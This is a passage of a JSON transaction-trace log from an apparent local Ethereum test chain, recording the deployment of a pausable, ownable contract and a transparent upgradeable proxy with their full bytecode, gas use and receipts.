n":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x959922be3caee4b8cd9a407cc3ac1c251c2007b1","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052348015600f57600080fd5b50604051610ee6380380610ee6833981016040819052602c916049565b5050607e565b6001600160a01b0381168114604657600080fd5b50565b60008060408385031215605b57600080fd5b82516064816032565b60208401519092506073816032565b809150509250929050565b610e598061008d6000396000f3fe608060405234801561001057600080fd5b50600436106101f05760003560e01c80637cf72bba1161010f578063d98128c0116100a2578063e921d4fa11610071578063e921d4fa146103c6578063f2fde38b1461044c578063f73b7519146102a9578063fabc1cbc1461045f57600080fd5b8063d98128c014610430578063da16e29b14610322578063df5cf723146102ba578063e58398361461043e57600080fd5b80638da5cb5b116100de5780638da5cb5b146103b5578063a49db732146103c6578063c747075b146103da578063d7b7fa13146103ee57600080fd5b80637cf72bba146103465780638105e04314610354578063855fcc4a1461036b578063886f1195146103a257600080fd5b806339b70e38116101875780636f0c2f74116101565780636f0c2f7414610322578063715018a614610330578063723e59c7146103385780637259a45c1461024257600080fd5b806339b70e38146102ba578063595c6a67146102d55780635ac86ab7146102dd5780635c975abb1461031057600080fd5b80631794bb3c116101c35780631794bb3c1461022f5780631874e5ae14610242578063282670fc1461027257806338c8ee64146102a957600080fd5b80630ffabbce146101f557806310d67a2f14610209578063136439dd1461021c578063175d3205146101f5575b600080fd5b610207610203366004610b25565b5050565b005b610207610217366004610b5a565b610472565b61020761022a366004610b7e565b61052b565b61020761023d366004610b97565b505050565b610258610250366004610b25565b600092915050565b60405163ffffffff90911681526020015b60405180910390f35b610285610280366004610bd8565b61066a565b60408051825163ffffffff9081168252602093840151169281019290925201610269565b6102076102b7366004610b5a565b50565b60005b6040516001600160a01b039091168152602001610269565b610207610685565b6103006102eb366004610c04565b606654600160ff9092169190911b9081161490565b6040519015158152602001610269565b6066545b604051908152602001610269565b610258610250366004610c27565b61020761074c565b610314610250366004610b25565b610207610203366004610c60565b610300610362366004610cd7565b60009392505050565b610385610379366004610c27565b60008060009250925092565b604080519315158452602084019290925290820152606001610269565b6065546102bd906001600160a01b031681565b6033546001600160a01b03166102bd565b6103146103d4366004610b5a565b50600090565b6102076103e8366004610d05565b50505050565b6104016103fc366004610c27565b610760565b60408051825163ffffffff90811682526020808501518216908301529282015190921690820152606001610269565b610300610250366004610c27565b6103006103d4366004610b5a565b61020761045a366004610b5a565b610782565b61020761046d366004610b7e565b6107f8565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e99190610d52565b6001600160a01b0316336001600160a01b0316146105225760405162461bcd60e51b815260040161051990610d6f565b60405180910390fd5b6102b781610954565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610573573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105979190610db9565b6105b35760405162461bcd60e51b815260040161051990610ddb565b6066548181161461062c5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60408051808201909152600080825260208201525b92915050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f19190610db9565b61070d5760405162461bcd60e51b815260040161051990610ddb565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610754610a4b565b61075e6000610aa5565b565b604080516060810182526000808252602082018190529181019190915261067f565b61078a610a4b565b6001600160a01b0381166107ef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610519565b6102b781610aa5565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086f9190610d52565b6001600160a01b0316336001600160a01b03161461089f5760405162461bcd60e51b815260040161051990610d6f565b60665419811960665419161461091d5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161065f565b6001600160a01b0381166109e25760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610519565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b0316331461075e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610519565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03811681146102b757600080fd5b803563ffffffff81168114610b2057600080fd5b919050565b60008060408385031215610b3857600080fd5b8235610b4381610af7565b9150610b5160208401610b0c565b90509250929050565b600060208284031215610b6c57600080fd5b8135610b7781610af7565b9392505050565b600060208284031215610b9057600080fd5b5035919050565b600080600060608486031215610bac57600080fd5b8335610bb781610af7565b92506020840135610bc781610af7565b929592945050506040919091013590565b60008060408385031215610beb57600080fd5b8235610bf681610af7565b946020939093013593505050565b600060208284031215610c1657600080fd5b813560ff81168114610b7757600080fd5b60008060408385031215610c3a57600080fd5b8235610c4581610af7565b91506020830135610c5581610af7565b809150509250929050565b60008060208385031215610c7357600080fd5b823567ffffffffffffffff811115610c8a57600080fd5b8301601f81018513610c9b57600080fd5b803567ffffffffffffffff811115610cb257600080fd5b8560208260051b8401011115610cc757600080fd5b6020919091019590945092505050565b600080600060608486031215610cec57600080fd5b8335610cf781610af7565b9250610bc760208501610b0c565b60008060008060808587031215610d1b57600080fd5b8435610d2681610af7565b9350610d3460208601610b0c565b9250610d4260408601610b0c565b9396929550929360600135925050565b600060208284031215610d6457600080fd5b8151610b7781610af7565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215610dcb57600080fd5b81518015158114610b7757600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b60608201526080019056fea26469706673582212206c3eca31cabb3f85c8042f9a79367d7234f56191e29afb4c548370490359ebcb64736f6c634300081c0033000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9","output":"0x608060405234801561001057600080fd5b50600436106101f05760003560e01c80637cf72bba1161010f578063d98128c0116100a2578063e921d4fa11610071578063e921d4fa146103c6578063f2fde38b1461044c578063f73b7519146102a9578063fabc1cbc1461045f57600080fd5b8063d98128c014610430578063da16e29b14610322578063df5cf723146102ba578063e58398361461043e57600080fd5b80638da5cb5b116100de5780638da5cb5b146103b5578063a49db732146103c6578063c747075b146103da578063d7b7fa13146103ee57600080fd5b80637cf72bba146103465780638105e04314610354578063855fcc4a1461036b578063886f1195146103a257600080fd5b806339b70e38116101875780636f0c2f74116101565780636f0c2f7414610322578063715018a614610330578063723e59c7146103385780637259a45c1461024257600080fd5b806339b70e38146102ba578063595c6a67146102d55780635ac86ab7146102dd5780635c975abb1461031057600080fd5b80631794bb3c116101c35780631794bb3c1461022f5780631874e5ae14610242578063282670fc1461027257806338c8ee64146102a957600080fd5b80630ffabbce146101f557806310d67a2f14610209578063136439dd1461021c578063175d3205146101f5575b600080fd5b610207610203366004610b25565b5050565b005b610207610217366004610b5a565b610472565b61020761022a366004610b7e565b61052b565b61020761023d366004610b97565b505050565b610258610250366004610b25565b600092915050565b60405163ffffffff90911681526020015b60405180910390f35b610285610280366004610bd8565b61066a565b60408051825163ffffffff9081168252602093840151169281019290925201610269565b6102076102b7366004610b5a565b50565b60005b6040516001600160a01b039091168152602001610269565b610207610685565b6103006102eb366004610c04565b606654600160ff9092169190911b9081161490565b6040519015158152602001610269565b6066545b604051908152602001610269565b610258610250366004610c27565b61020761074c565b610314610250366004610b25565b610207610203366004610c60565b610300610362366004610cd7565b60009392505050565b610385610379366004610c27565b60008060009250925092565b604080519315158452602084019290925290820152606001610269565b6065546102bd906001600160a01b031681565b6033546001600160a01b03166102bd565b6103146103d4366004610b5a565b50600090565b6102076103e8366004610d05565b50505050565b6104016103fc366004610c27565b610760565b60408051825163ffffffff90811682526020808501518216908301529282015190921690820152606001610269565b610300610250366004610c27565b6103006103d4366004610b5a565b61020761045a366004610b5a565b610782565b61020761046d366004610b7e565b6107f8565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e99190610d52565b6001600160a01b0316336001600160a01b0316146105225760405162461bcd60e51b815260040161051990610d6f565b60405180910390fd5b6102b781610954565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610573573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105979190610db9565b6105b35760405162461bcd60e51b815260040161051990610ddb565b6066548181161461062c5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60408051808201909152600080825260208201525b92915050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f19190610db9565b61070d5760405162461bcd60e51b815260040161051990610ddb565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610754610a4b565b61075e6000610aa5565b565b604080516060810182526000808252602082018190529181019190915261067f565b61078a610a4b565b6001600160a01b0381166107ef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610519565b6102b781610aa5565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086f9190610d52565b6001600160a01b0316336001600160a01b03161461089f5760405162461bcd60e51b815260040161051990610d6f565b60665419811960665419161461091d5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161065f565b6001600160a01b0381166109e25760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610519565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b0316331461075e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610519565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03811681146102b757600080fd5b803563ffffffff81168114610b2057600080fd5b919050565b60008060408385031215610b3857600080fd5b8235610b4381610af7565b9150610b5160208401610b0c565b90509250929050565b600060208284031215610b6c57600080fd5b8135610b7781610af7565b9392505050565b600060208284031215610b9057600080fd5b5035919050565b600080600060608486031215610bac57600080fd5b8335610bb781610af7565b92506020840135610bc781610af7565b929592945050506040919091013590565b60008060408385031215610beb57600080fd5b8235610bf681610af7565b946020939093013593505050565b600060208284031215610c1657600080fd5b813560ff81168114610b7757600080fd5b60008060408385031215610c3a57600080fd5b8235610c4581610af7565b91506020830135610c5581610af7565b809150509250929050565b60008060208385031215610c7357600080fd5b823567ffffffffffffffff811115610c8a57600080fd5b8301601f81018513610c9b57600080fd5b803567ffffffffffffffff811115610cb257600080fd5b8560208260051b8401011115610cc757600080fd5b6020919091019590945092505050565b600080600060608486031215610cec57600080fd5b8335610cf781610af7565b9250610bc760208501610b0c565b60008060008060808587031215610d1b57600080fd5b8435610d2681610af7565b9350610d3460208601610b0c565b9250610d4260408601610b0c565b9396929550929360600135925050565b600060208284031215610d6457600080fd5b8151610b7781610af7565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215610dcb57600080fd5b81518015158114610b7757600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b60608201526080019056fea26469706673582212206c3eca31cabb3f85c8042f9a79367d7234f56191e29afb4c548370490359ebcb64736f6c634300081c0033","gas_used":735686,"gas_limit":990197,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b50600436106101f05760003560e01c80637cf72bba1161010f578063d98128c0116100a2578063e921d4fa11610071578063e921d4fa146103c6578063f2fde38b1461044c578063f73b7519146102a9578063fabc1cbc1461045f57600080fd5b8063d98128c014610430578063da16e29b14610322578063df5cf723146102ba578063e58398361461043e57600080fd5b80638da5cb5b116100de5780638da5cb5b146103b5578063a49db732146103c6578063c747075b146103da578063d7b7fa13146103ee57600080fd5b80637cf72bba146103465780638105e04314610354578063855fcc4a1461036b578063886f1195146103a257600080fd5b806339b70e38116101875780636f0c2f74116101565780636f0c2f7414610322578063715018a614610330578063723e59c7146103385780637259a45c1461024257600080fd5b806339b70e38146102ba578063595c6a67146102d55780635ac86ab7146102dd5780635c975abb1461031057600080fd5b80631794bb3c116101c35780631794bb3c1461022f5780631874e5ae14610242578063282670fc1461027257806338c8ee64146102a957600080fd5b80630ffabbce146101f557806310d67a2f14610209578063136439dd1461021c578063175d3205146101f5575b600080fd5b610207610203366004610b25565b5050565b005b610207610217366004610b5a565b610472565b61020761022a366004610b7e565b61052b565b61020761023d366004610b97565b505050565b610258610250366004610b25565b600092915050565b60405163ffffffff90911681526020015b60405180910390f35b610285610280366004610bd8565b61066a565b60408051825163ffffffff9081168252602093840151169281019290925201610269565b6102076102b7366004610b5a565b50565b60005b6040516001600160a01b039091168152602001610269565b610207610685565b6103006102eb366004610c04565b606654600160ff9092169190911b9081161490565b6040519015158152602001610269565b6066545b604051908152602001610269565b610258610250366004610c27565b61020761074c565b610314610250366004610b25565b610207610203366004610c60565b610300610362366004610cd7565b60009392505050565b610385610379366004610c27565b60008060009250925092565b604080519315158452602084019290925290820152606001610269565b6065546102bd906001600160a01b031681565b6033546001600160a01b03166102bd565b6103146103d4366004610b5a565b50600090565b6102076103e8366004610d05565b50505050565b6104016103fc366004610c27565b610760565b60408051825163ffffffff90811682526020808501518216908301529282015190921690820152606001610269565b610300610250366004610c27565b6103006103d4366004610b5a565b61020761045a366004610b5a565b610782565b61020761046d366004610b7e565b6107f8565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e99190610d52565b6001600160a01b0316336001600160a01b0316146105225760405162461bcd60e51b815260040161051990610d6f565b60405180910390fd5b6102b781610954565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610573573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105979190610db9565b6105b35760405162461bcd60e51b815260040161051990610ddb565b6066548181161461062c5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60408051808201909152600080825260208201525b92915050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f19190610db9565b61070d5760405162461bcd60e51b815260040161051990610ddb565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b610754610a4b565b61075e6000610aa5565b565b604080516060810182526000808252602082018190529181019190915261067f565b61078a610a4b565b6001600160a01b0381166107ef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610519565b6102b781610aa5565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086f9190610d52565b6001600160a01b0316336001600160a01b03161461089f5760405162461bcd60e51b815260040161051990610d6f565b60665419811960665419161461091d5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610519565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161065f565b6001600160a01b0381166109e25760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610519565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b0316331461075e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610519565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03811681146102b757600080fd5b803563ffffffff81168114610b2057600080fd5b919050565b60008060408385031215610b3857600080fd5b8235610b4381610af7565b9150610b5160208401610b0c565b90509250929050565b600060208284031215610b6c57600080fd5b8135610b7781610af7565b9392505050565b600060208284031215610b9057600080fd5b5035919050565b600080600060608486031215610bac57600080fd5b8335610bb781610af7565b92506020840135610bc781610af7565b929592945050506040919091013590565b60008060408385031215610beb57600080fd5b8235610bf681610af7565b946020939093013593505050565b600060208284031215610c1657600080fd5b813560ff81168114610b7757600080fd5b60008060408385031215610c3a57600080fd5b8235610c4581610af7565b91506020830135610c5581610af7565b809150509250929050565b60008060208385031215610c7357600080fd5b823567ffffffffffffffff811115610c8a57600080fd5b8301601f81018513610c9b57600080fd5b803567ffffffffffffffff811115610cb257600080fd5b8560208260051b8401011115610cc757600080fd5b6020919091019590945092505050565b600080600060608486031215610cec57600080fd5b8335610cf781610af7565b9250610bc760208501610b0c565b60008060008060808587031215610d1b57600080fd5b8435610d2681610af7565b9350610d3460208601610b0c565b9250610d4260408601610b0c565b9396929550929360600135925050565b600060208284031215610d6457600080fd5b8151610b7781610af7565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215610dcb57600080fd5b81518015158114610b7757600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b60608201526080019056fea26469706673582212206c3eca31cabb3f85c8042f9a79367d7234f56191e29afb4c548370490359ebcb64736f6c634300081c0033","nonce":16,"gas_used":849430},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0xcf616","logs":[],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0xfda166a7086f0e683b1e8e4badba566668eff15a39ce6f197edab332f603ab2d","block_number":10},{"info":{"transaction_hash":"0x8e126499b7deba707e64a575cb693d59b617e47dcdd2fb31a508dbf08bbb4231","transaction_index":2,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0xf5059a5d33d5853360d16c683c16e67980206f36","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0xf5059a5d33d5853360d16c683c16e67980206f36","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f37304200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000","output":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e74